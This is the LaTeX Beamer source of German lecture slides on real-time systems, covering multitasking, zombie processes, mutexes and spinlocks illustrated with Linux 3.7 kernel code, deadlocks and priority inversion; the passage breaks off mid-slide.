- \item[3.1] Definition - \item[3.2] Beispiele - \end{itemize} - \item[\textbf{4}] \textbf{Frameworks} - \begin{itemize} - \item[\textbf{4.1}] TFC Event Channel - \item[\textbf{4.2}] AUTOSAR - \item[\textbf{4.3}] Wietzke-Tran-Framework - \end{itemize} - \end{itemize} - -\end{frame} - -\setcounter{section}{2} -\section{Theorie der Echtzeitsysteme} - -\begin{frame} - - \visible<1->{\showsection} - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - -% \pause - - RP6-Steuerung - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ - Die Interrupt-Handler zählen Variable hoch. - \item - 10000mal pro Sekunde: Timer-Interrupt\\ - Durch Zähler im Interrupt-Handler: verschiedene Taktraten\\ - 1000mal pro Sekunde: Stopwatches\\ - 5mal pro Sekunde: Blinkende Power-On-LED\\ - 1000mal pro Sekunde: Bumper, ACS, PWM zur Motorsteuerung\\ - Geschwindigkeitsmessung durch Zählen der Ticks in 0.2\,s\\ - Anpassung der Motorkraft in $\pm$1-Schritten -% \pause - \item - Nebenbei: \only<1->{1 }Benutzerprogramm - \end{itemize} - -\end{frame} - -\subsection{Multitasking} - -\begin{frame} - - \showsection - \showsubsection - - \begin{itemize} - \item - \newterm{Kooperatives Multitasking}\\ - Prozesse geben freiwillig Rechenzeit ab - \item - \newterm{Präemptives Multitasking}\\ - Das Betriebssystem unterbricht laufende Prozesse\\ - (englisch: \emph{to pre-empt\/} -- jemandem zuvorkommen) - \bigskip - \item - \newterm{Scheduler}\\ - Steuerprogramm, das Prozessen Rechenzeit zuteilt - \item - \newterm{Kontextwechsel}\\ - Umschalten zwischen zwei Prozessen - \item - \newterm{Round-Robin-Verfahren (Rundlauf)}\\ - Zuteilung von \newterm{Zeitschlitzen\/} auf einer \newterm{Zeitscheibe} an die Prozesse - \bigskip -% \pause - \item -% Ausblick: - Zuteilung von Rechenzeit = wichtiger Spezialfall\\ - allgemein: Zuteilung von Ressourcen - \end{itemize} - -\end{frame} - -\subsectionnonumber{Beispiele für Multitasking} - -\begin{frame} - - \showsubsectionnonumber - - Quadrocopter-Steuerung \emph{MultiWii} - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - In der Hauptschleife wird 50mal pro Sekunde der RC-Task aufgerufen,\\ - ansonsten zyklisch einer von bis zu 5 weiteren Tasks. - \end{itemize} - - RP6-Steuerung - \begin{itemize} - \item - Konfiguration durch bedingte Compilierung (Präprozessor) - \item - Lichtschranken an Encoder-Scheiben lösen bei Bewegung Interrupts aus.\\ - Die Interrupt-Handler zählen Variable hoch. - \item - 10000mal pro Sekunde: Timer-Interrupt\\ - verschiedene Tasks werden unterschiedlich häufig aufgerufen - \item - Nebenbei: 1 Benutzerprogramm - \end{itemize} - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt:\only<1->{ Zähler des aktuellen Tasks wird dekrementiert;}\\ - Task mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Task mit positivem Zähler gibt,\\ - bekommen alle Tasks gemäß ihrer Priorität neue Zähler zugewiesen. - \item - \emph{keine\/} harte Echtzeit - % Aufgabe: Wo wird der Zähler heruntergezählt? - \end{itemize} - -\end{frame} - -\subsectionnonumber{Zombies} - -\begin{frame} - - \showsubsectionnonumber - -% \pause - Wikipedia: - \begin{quote} - Als Zombie wird die fiktive Figur eines zum Leben erweckten - Toten (Untoter) oder eines seiner Seele beraubten, willenlosen - Wesens bezeichnet. Der Begriff leitet sich von dem Wort nzùmbe - aus der zentralafrikanischen Sprache Kimbundu ab und bezeichnet - dort ursprünglich einen Totengeist. - \end{quote} - -% \bigskip - -% \pause - Ein Zombie-Prozeß ist bereits beendet ("`tot"'),\\ - bekommt keine Rechenzeit mehr ("`seiner Seele beraubt"'),\\ - hat alle belegten Ressourcen wieder freigegeben ("`willenlos"'),\\ - wird aber noch in der Prozeßliste geführt ("`untot"'). - \begin{itemize} -% \pause - \item - Warum? - \textarrow\ - Ein anderer Prozeß (Elternprozeß) wartet noch auf den - Rückgabewert des beendeten Prozesses. -% \pause - \item - Schadet das? - \textarrow\ - Nein. -% \pause - \item - Aber? - \textarrow\ - Wenn sich Zombie-Prozesse anhäufen, deutet dies auf einen - Prozeß hin, der andere Prozesse erzeugt und anschließend "`hängt"'. -% \pause - \item - Beispiel: - Datenträger entfernt, zugreifender Prozeß "`hängt"'.\\ - \textarrow\ - Tochterprozesse werden zu Zombies. - \end{itemize} - -\end{frame} - -\subsectionnonumber{Multitasking} - -\begin{frame} - - \showsection - \showsubsection - - \begin{minipage}[t]{6cm} - Qualitätssicherung beim Multitasking - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/}\\ - vs.\ \newterm{Durchsatz} - \smallskip - \item - Ressourcen reservieren:\\ - \newterm{Mutexe} - (= spezielle \newterm{Semaphore\/})\\ - \strut - \item - Verschiedene Methoden\\ - der Priorisierung\\ - \strut\\ - \strut - \item - Umgehung der Probleme durch - speziell geschriebene Software\\ - (MultiWii, RP6, \dots) - \end{itemize} - \end{minipage} - \hfill - \begin{minipage}[t]{6.2cm} - Qualitätssicherung für Netzwerke: - \begin{itemize} - \item - Verschiedene Anforderungen: - \newterm{Latenz\/} vs.\ \newterm{Jitter\/} vs.\ \newterm{Verluste\/}\\vs.\ \newterm{Durchsatz} - \item - Ressourcen reservieren:\\ - \newterm{IntServ} mit \newterm{Resource Reservation Protocol (RSVP)} - \item - Klassifizierung und Priorisierung: - \newterm{DiffServ} mit Type-of-Service-Bits (IPv4) - bzw.\ Traffic-Class-Bits (IPv6) im IP-Header - \item - Eigenes Protokoll (Telefondienste):\\ - \newterm{Asynchronous Transfer Mode (ATM)} - \end{itemize} - \end{minipage} - -\end{frame} - -\subsection{Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \begin{onlyenv}<1> - \par\medskip - griechisch: \emph{sema\/} -- Zeichen, \emph{pherein\/} -- tragen\\ - "`Eisenbahnsignal"' - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \begin{onlyenv}<2> - \par\medskip - englisch: \emph{mutual exclusion\/} -- wechselseitiger Ausschluß\\ - spezieller binärer Semaphor: nur "`Besitzer"' darf freigeben\\ - % allgemein: auch jemand anderer dürfte freigeben - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \begin{onlyenv}<3> - \par\medskip - englisch: \emph{spin\/} -- rotieren, \emph{lock\/} Sperre\\ - \emph{busy waiting} auf etwas Schnelles, z.\,B.\ auf einen Semaphor\\[\medskipamount] - Hardware-Unterstützung: - Prüfen, ob Variable bestimmten Wert hat;\\ - wenn ja, auf anderen Wert setzen; andere Prozessoren solange anhalten - \vspace*{-3cm} - \end{onlyenv} - \pause - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \end{itemize} - \vspace*{-1cm} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren -- - Beispiel: \file{linux-3.7rc1} - \begin{itemize} - \item - \newterm{Semaphor}\\ - \file{kernel/semaphor.c}\\ - \file{drivers/usb/core/file.c} - \medskip - \item - \newterm{Mutex}\\ - \file{kernel/mutex.c}\\ - \file{drivers/usb/serial/usb-serial.c} - \medskip - \item - \newterm{Spinlock}\\ - \file{kernel/spinlock.c}\\ - \file{kernel/semaphor.c}, - \file{kernel/mutex.c} - \end{itemize} - - % Aufgabe: Anwendungsarten im MultiWii- und RP6-Code identifizieren - - % evtl. Aufgabe: Warte-Problem - - % Aufgabe: Wie lösen bekannte Multitasking-Betriebssysteme - % das o.a. Zuteilungsproblem? - - % Danach: Semaphoren, Mutexe, Spinlocks - % Priorisierungsmethoden und -probleme - - % Festplatten: completely fair queueing - % cat /sys/block/sdc/queue/scheduler - % "noop" hat sich für SVG gelohnt - - % Virtualisierung + Kernel-Threads + Multiprozessorsystem = Chaos - -\end{frame} - -\begin{frame}[fragile] - - \textbf{Beispiel:} - \lstinline{usb_serial_get_by_index()} -- serielle Schnittstelle reservieren - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - struct usb_serial *usb_serial_get_by_index (unsigned index) - { - struct usb_serial *serial; - mutex_lock (&table_lock); - serial = serial_table[index]; - if (serial) - { - mutex_lock (&serial->disc_mutex); - if (serial->disconnected) - { - mutex_unlock (&serial->disc_mutex); - serial = NULL; - } - else - kref_get (&serial->kref); - } - mutex_unlock (&table_lock); - return serial; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(5.1,6.85){\vector(-1,0){0.5}} - \put(5.2,6.85){\makebox(0,0)[l]{exklusiven Zugriff auf Tabelle sichern}} - \put(5.4,1.35){\vector(-1,0){0.5}} - \put(5.5,1.35){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Tabelle\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{48cm} - -\begin{frame}[fragile] - - \lstinline{mutex_lock()} -- Ressource beanspruchen, notfalls warten - - Datei \file{linux-3.7-rc1/drivers/usb/serial/usb-serial.c}, ab Zeile 62 - - \medskip - - \begin{lstlisting} - void __sched mutex_lock (struct mutex *lock) - { - might_sleep (); - __mutex_fastpath_lock (&lock->count, __mutex_lock_slowpath); - mutex_set_owner (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.6,1.35){\line(-1,0){1}} - \put(11.6,1.35){\line(0,-1){2.45}} - \put(11.6,-1.10){\vector(-1,0){2.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/arch/x86/include/asm/mutex\_32.h}, ab Zeile 24 - - Macro-Definition für \lstinline{__mutex_fastpath_lock} (expandiert) - - \medskip - - Assembler: - \begin{lstlisting}[language={[x86masm]Assembler}] - lock dec (lock->count) - jns 1 - call __mutex_lock_slowpath - 1: - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9,0.95){\line(-1,0){3.5}} - \put(9,0.95){\line(0,-1){2.5}} - \put(9.0,-1.55){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 398 - - \medskip - - \begin{lstlisting} - static __used noinline void __sched - __mutex_lock_slowpath (atomic_t *lock_count) - { - struct mutex *lock = container_of (lock_count, struct mutex, count); - __mutex_lock_common (lock, TASK_UNINTERRUPTIBLE, 0, - NULL, _RET_IP_); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.0,1.40){\line(-1,0){1.0}} - \put(11.0,1.40){\vector(0,-1){2.5}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/mutex.c}, ab Zeile 132 - - \medskip - - \begin{lstlisting} - static inline int __sched - __mutex_lock_common (struct mutex *lock, long state, unsigned int subclass, - struct lockdep_map *nest_lock, unsigned long ip) - { - struct task_struct *task = current; - struct mutex_waiter waiter; - unsigned long flags; - - preempt_disable (); - mutex_acquire_nest (&lock->dep_map, subclass, 0, nest_lock, ip); - - /* ... */ - - spin_lock_mutex (&lock->wait_lock, flags); - - debug_mutex_lock_common (lock, &waiter); - debug_mutex_add_waiter (lock, &waiter, task_thread_info (task)); - - /* add waiting tasks to the end of the waitqueue (FIFO): */ - list_add_tail (&waiter.list, &lock->wait_list); - waiter.task = task; - - if (atomic_xchg (&lock->count, -1) == 1) - goto done; - - lock_contended (&lock->dep_map, ip); - - for (;;) - { - /* - * Lets try to take the lock again - this is needed even if - * we get here for the first time (shortly after failing to - * acquire the lock), to make sure that we get a wakeup once - * it's unlocked. Later on, if we sleep, this is the - * operation that gives us the lock. We xchg it to -1, so - * that when we release the lock, we properly wake up the - * other waiters: - */ - if (atomic_xchg (&lock->count, -1) == 1) - break; - - /* - * got a signal? (This code gets eliminated in the - * TASK_UNINTERRUPTIBLE case.) - */ - if (unlikely (signal_pending_state (state, task))) - { - mutex_remove_waiter (lock, &waiter, task_thread_info (task)); - mutex_release (&lock->dep_map, 1, ip); - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - return -EINTR; - } - __set_task_state (task, state); - - /* didn't get the lock, go to sleep: */ - spin_unlock_mutex (&lock->wait_lock, flags); - schedule_preempt_disabled (); - spin_lock_mutex (&lock->wait_lock, flags); - } - - done: - lock_acquired (&lock->dep_map, ip); - /* got the lock - rejoice! */ - mutex_remove_waiter (lock, &waiter, current_thread_info ()); - mutex_set_owner (lock); - - /* set it to 0 if there are no waiters left: */ - if (likely (list_empty (&lock->wait_list))) - atomic_set (&lock->count, 0); - - spin_unlock_mutex (&lock->wait_lock, flags); - - debug_mutex_free_waiter (&waiter); - preempt_enable (); - - return 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(7.9,28.3){\vector(-1,0){0.5}} - \put(8.0,28.3){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff\\auf Mutex sichern}}} - \put(7.4,2.3){\vector(-1,1){0.4}} - \put(7.5,2.0){\makebox(0,0)[l]{\shortstack[l]{exklusiven Zugriff auf Mutex\\wieder freigeben}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{40.5cm} - -\begin{frame}[fragile] - - \lstinline{spin_lock_mutex()} -- Mutex beanspruchen, notfalls \emph{busy waiting} - - Datei \file{linux-3.7-rc1/kernel/mutex.h}, ab Zeile 12 - - \medskip - - \begin{lstlisting} - #define spin_lock_mutex(lock, flags) \ - do \ - { \ - spin_lock (lock); \ - (void) (flags); \ - } \ - while (0) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(8.5,1.75){\line(-1,0){4.5}} - \put(8.5,1.75){\line(0,-1){2.9}} - \put(8.5,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, ab Zeile 283 - - \medskip - - \begin{lstlisting} - static inline void spin_lock (spinlock_t *lock) - { - raw_spin_lock (&lock->rlock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.3,0.95){\line(-1,0){4.0}} - \put(9.3,0.95){\line(0,-1){2.1}} - \put(9.3,-1.15){\vector(-1,0){1.0}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.h}, Zeile 170 - - \medskip - - \begin{lstlisting} - #define raw_spin_lock(lock) _raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.0,0.55){\line(-1,0){0.5}} - \put(10.0,0.55){\line(0,-1){1.7}} - \put(10.0,-1.15){\vector(-1,0){1.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock\_api\_smp.h}, Zeile 47 - - \medskip - - \begin{lstlisting} - #define _raw_spin_lock(lock) __raw_spin_lock (lock) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,0.55){\line(-1,0){0.5}} - \put(10.7,0.55){\line(0,-1){1.75}} - \put(10.7,-1.2){\vector(-1,0){2.3}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/kernel/spinlock.c}, ab Zeile 46 (expandiert): - - \medskip - - \begin{lstlisting} - void __lockfunc __raw_spin_lock (spinlock_t *lock) - { - for (;;) - { - preempt_disable (); - if (likely (do_raw_spin_trylock (lock))) - break; - preempt_enable (); - - if (!(lock)->break_lock) - (lock)->break_lock = 1; - while (!raw_spin_can_lock (lock) && (lock)->break_lock) - arch_spin_relax (&lock->raw_lock); - } - (lock)->break_lock = 0; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(10.7,4.75){\line(-1,0){3.5}} - \put(10.7,4.75){\line(0,-1){5.95}} - \put(10.7,-1.2){\vector(-1,0){1.1}} - \end{picture} - - \bigskip - - Datei \file{linux-3.7-rc1/include/linux/spinlock.h}, ab Zeile 150: - - \medskip - - \begin{lstlisting} - static inline int do_raw_spin_trylock (raw_spinlock_t *lock) - { - return arch_spin_trylock (&(lock)->raw_lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(11.5,0.95){\line(-1,0){3.5}} - \put(11.5,0.95){\line(0,-1){2.1}} - \put(11.5,-1.15){\vector(-1,0){0.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 116: - - \medskip - - \begin{lstlisting} - static __always_inline int arch_spin_trylock (arch_spinlock_t *lock) - { - return __ticket_spin_trylock (lock); - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.5,0.95){\line(-1,0){3.5}} - \put(9.5,0.95){\vector(0,-1){1.7}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/spinlock.h}, ab Zeile 65: - - \medskip - - \begin{lstlisting} - static __always_inline int __ticket_spin_trylock (arch_spinlock_t *lock) - { - arch_spinlock_t old, new; - - old.tickets = ACCESS_ONCE (lock->tickets); - if (old.tickets.head != old.tickets.tail) - return 0; - - new.head_tail = old.head_tail + (1 << TICKET_SHIFT); - - /* cmpxchg is a full barrier, so nothing can move before it */ - return cmpxchg (&lock->head_tail, old.head_tail, new.head_tail) == old.head_tail; - } - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,0.3){\line(0,1){0.4}} - \put(9.0,0.3){\line(-1,0){6.8}} - \put(9.0,0.3){\line(0,-1){1.45}} - \put(9.0,-1.15){\vector(-1,0){3.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 147: - - \medskip - - \begin{lstlisting} - #define cmpxchg(ptr, old, new) \ - __cmpxchg (ptr, old, new, sizeof (*(ptr))) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.0,0.5){\line(-1,0){1.8}} - \put(9.0,0.5){\line(0,-1){1.65}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 131: - - \medskip - - \begin{lstlisting} - #define __cmpxchg(ptr, old, new, size) \ - __raw_cmpxchg ((ptr), (old), (new), (size), LOCK_PREFIX) - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(2.2,-0.1){\line(0,1){0.3}} - \put(9.0,-0.1){\line(-1,0){6.8}} - \put(9.0,-0.1){\line(0,-1){1.05}} - \put(9.0,-1.15){\vector(-1,0){2.2}} - \end{picture} - - \bigskip - - Datei \file{arch/x86/include/asm/cmpxchg.h}, ab Zeile 110: - - \medskip - - \begin{lstlisting} - asm volatile (lock "cmpxchgl %2,%1" \ - : "=a" (__ret), "+m" (*__ptr) \ - : "r" (__new), "0" (__old) \ - : "memory"); - \end{lstlisting} - \begin{picture}(0,0) - \color{red} - \put(9.8,1.8){\vector(-1,0){0.6}} - \put(9.8,1.2){\line(0,1){0.6}} - \put(9.8,1.1){\makebox(0,0)[t]{\shortstack{atomarer und exklusiver\\Zugriff auf Spinlock\\durch Hardware-Unterstützung}}} - \end{picture} - -\end{frame} - -\setlength{\pdfpageheight}{\normalpdfpageheight} - -%\sectionnonumber{Literaturempfehlung} -%\subsectionnonumber{Automotive Embedded Systeme} -% -%\begin{frame}[c] -% -% \showsectionnonumber -% -% Prof.\ Dr.\ Joachim Wietzke, FH Darmstadt,\\ -% Prof.\ Dr.\ Manh Tien Tran, FH Kaiserslautern: -% -% \medskip -% -% \showsubsectionnonumber -% -% \vspace{-\medskipamount} -% -% Springer-Verlag, Berlin, Heidelberg 2005 -% -% \bigskip -% -% Lizenz: proprietär -% -% \medskip -% -% (gesetzt mit \textrm{\LaTeX}, ca.\ \EUR{10}) -% -%\end{frame} - -\sectionnonumber{Theorie der Echtzeitsysteme} -\subsection{Multitasking} -\subsection{Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - Ressourcen reservieren - \begin{itemize} - \item - \newterm{Semaphor}\\ - gemeinsame Variable mehrerer Prozesse\\ - zur Regelung des Zugriffs auf eine Ressource\\[\smallskipamount] - Ressource belegt \textarrow\ Kontextwechsel - \medskip - \item - \newterm{Mutex}\\ - Mechanismus, damit immer nur ein Prozeß gleichzeitig\\ - auf eine Ressource zugreifen kann - \medskip - \item - \newterm{Spinlock} (\emph{busy waiting\/})\\ - leichtgewichtige Alternative zu Kontextwechsel - \medskip - \item - \newterm{Kritischer Abschnitt -- critical section}\\ - Programmabschnitt zwischen Reservierung\\ - und Freigabe einer Ressource\\ - \textarrow\ sollte immer so kurz wie möglich sein - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \begin{picture}(0,0) - \only<1>{\put(6.3,-7){\includegraphics[height=6cm]{philosophenproblem.jpg}}} - \end{picture}% - \newterm{Verklemmungen\/}: Gegenseitiges Blockieren von Ressourcen - \begin{itemize} - \item - \newterm{Deadlock\/}: Prozeß wartet - \item - \newterm{Livelock\/}: Prozeß macht andere Dinge\\ - (z.\,B.\ \emph{busy waiting\/}) - \end{itemize} - - \smallskip - - Beispiel: Philosophenproblem - - \only<1>{% - \begin{itemize} - \item - 5 Philosophen, 5 Gabeln - \item - 2 Gabeln zum Essen notwendig - \item - Wer essen will, nimmt eine Gabel\\ - und wartet notfalls auf die zweite. - \item - Keiner legt eine einzelne Gabel\\ - wieder zurück. - \end{itemize} - Jeder hält 1 Gabel \textarrow\ \newterm{Verklemmung}\\[0.5\smallskipamount] - \strut\quad schweigen \textarrow\ \newterm{Deadlock}\\ - \strut\quad philosophieren weiter \textarrow\ \newterm{Livelock}\\[-1cm] - } - \only<2->{% - \bigskip - - Bedingungen für Verklemmungen: - - \begin{minipage}[t]{4.5cm} - \begin{itemize} - \item - Exklusivität - \item - \newterm{hold and wait} - \item - Entzug nicht möglich - \item - zirkuläre Blockade - \end{itemize} - \end{minipage}% \pause[5] - \begin{minipage}[t]{7.5cm} - \begin{itemize} - \arrowitem - Spooling - \arrowitem - simultane Zuteilung - \arrowitem - Prozesse suspendieren, beenden, \newterm{Rollback} - \arrowitem - Reihenfolge abhängig von Ressourcen - \end{itemize} - \end{minipage} - } - -\end{frame} - -\subsection{Prioritäten} - -\begin{frame} - - \showsection - \showsubsection - - Linux 0.01 - \begin{itemize} - \item - Timer-Interrupt: Zähler des aktuellen Prozesses wird dekrementiert;\\ - Prozeß mit höchstem Zähler bekommt Rechenzeit. - \item - Wenn es keinen laufbereiten Prozeß mit positivem Zähler gibt,\\ - bekommen alle Prozesse gemäß ihrer \newterm{Priorität\/} neue Zähler zugewiesen. - \item - \emph{keine\/} harte Echtzeit - \arrowitem - \newterm{dynamische Prioritätenvergabe\/}:\\ - Rechenzeit hängt vom Verhalten des Prozesses ab - \end{itemize} - - \medskip - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \arrowitem - \newterm{statische Prioritätenvergabe} - \end{itemize} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - Echtzeitbetriebssysteme - \begin{itemize} - \item - Prozesse können einen festen Anteil an Rechenzeit bekommen. - \item - Bei Ereignissen können Prozesse hoher Priorität\\ - Prozesse niedriger Priorität unterbrechen, aber nicht umgekehrt. - \end{itemize} - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(3.7,1){{\color{lightgreen}\rule{0.6cm}{0.4cm}}} - \alt<1>{% - \put(7.9,1){{\color{lightgreen}\rule{1.1cm}{0.4cm}}} - }{% - \put(8.1,1){{\color{lightgreen}\rule{0.9cm}{0.4cm}}} - } - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - - \pause - - \put(4.6,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(5.7,2){{\color{lightyellow}\rule{1.3cm}{0.4cm}}} - \put(7.7,2){{\color{lightyellow}\rule{0.4cm}{0.4cm}}} - \put(0,2){\line(1,0){10}} - - \end{picture} - \end{center} - -\end{frame} - -\subsectionnonumber{Prioritäten \protect\color{darkgray}und Ressourcen} - -\begin{frame} - - \showsection - \showsubsection - - \only<4->{% - Der höher priorisierte Prozeß bewirkt selbst,\\ - daß er eine Ressource verspätet bekommt. - - \medskip - - \textarrow\ \newterm{begrenzte Prioritätsinversion} - - \medskip - - maximale Verzögerung: Länge des kritischen Bereichs - } - - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \only<1-2>{\put(3,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}}} - \only<3->{\put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}}} - \only<3-4>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - } - \only<5->{% - \put(3.9,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.7,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \only<1-2>{% - \put(5.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(6.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - } - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - \put(0,3){\line(1,0){10}} - - \only<2->{% - \put(0,1){{\color{lightgreen}\rule{1cm}{0.4cm}}} - \put(1.5,1){{\color{lightgreen}\rule{1.5cm}{0.4cm}}} - \put(2.6,1){{\color{medgreen}\rule{0.4cm}{0.4cm}}} - \only<2-4>{% - \put(3.7,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.2,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - } - \only<5->{% - \put(3.4,1){{\color{medgreen}\rule{0.5cm}{0.4cm}}} - \put(4.9,1){{\color{lightgreen}\rule{0.1cm}{0.4cm}}} - \put(5.6,1){{\color{lightgreen}\rule{0.2cm}{0.4cm}}} - } - \put(7.7,1){{\color{lightgreen}\rule{1.3cm}{0.4cm}}} - \put(9.7,1){{\color{lightgreen}\rule{0.3cm}{0.4cm}}} - \put(0,1){\line(1,0){10}} - } - \end{picture} - \end{center} - -\end{frame} - -\begin{frame} - - \showsection - \showsubsection - - \visible<4->{% - Ein Prozeß mit mittlerer Priorität bewirkt, - daß ein Prozeß mit hoher Priorität eine Ressource überhaupt nicht bekommt. - - \medskip - - \textarrow\ }\newterm{unbegrenzte Prioritätsinversion} - - \pause - \vspace{0cm plus 1filll} - - \begin{center} - \begin{picture}(11,4)(-1,0) - \small - - \put(-0.1,0.5){\vector(1,0){10.1}} - \put(9.75,0.4){\makebox(0,0)[tr]{Zeit}} - \put(0,0.4){\vector(0,1){3.6}} - \put(-0.1,3.75){\makebox(0,0)[tr]{Priorität}} - - \put(1,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(3,3){{\color{lightorange}\rule{0.4cm}{0.4cm}}} - \only<2>{% - \put(3.4,3){{\color{red}\rule{0.8cm}{0.4cm}}} - \put(4.2,3){{\color{lightorange}\rule{0.2cm}{0.4cm}}} - {\thicklines - \put(3.3,2.95){\line(2,1){1.0}} - \put(3.3,3.45){\line(2,-1){1.0}}} - \put(5,3){{\color{lightorange}\rule{0.6cm}{0.4cm}}} - \put(7,3){{\color{lightorange}\rule{0.5cm}{0.4cm}}} - \put(9,3){{\color{lightorange}\rule{0.7cm}{0.4cm}}} - } - \put(0,3){\line(1,0){10}} - - \only<2->{% - 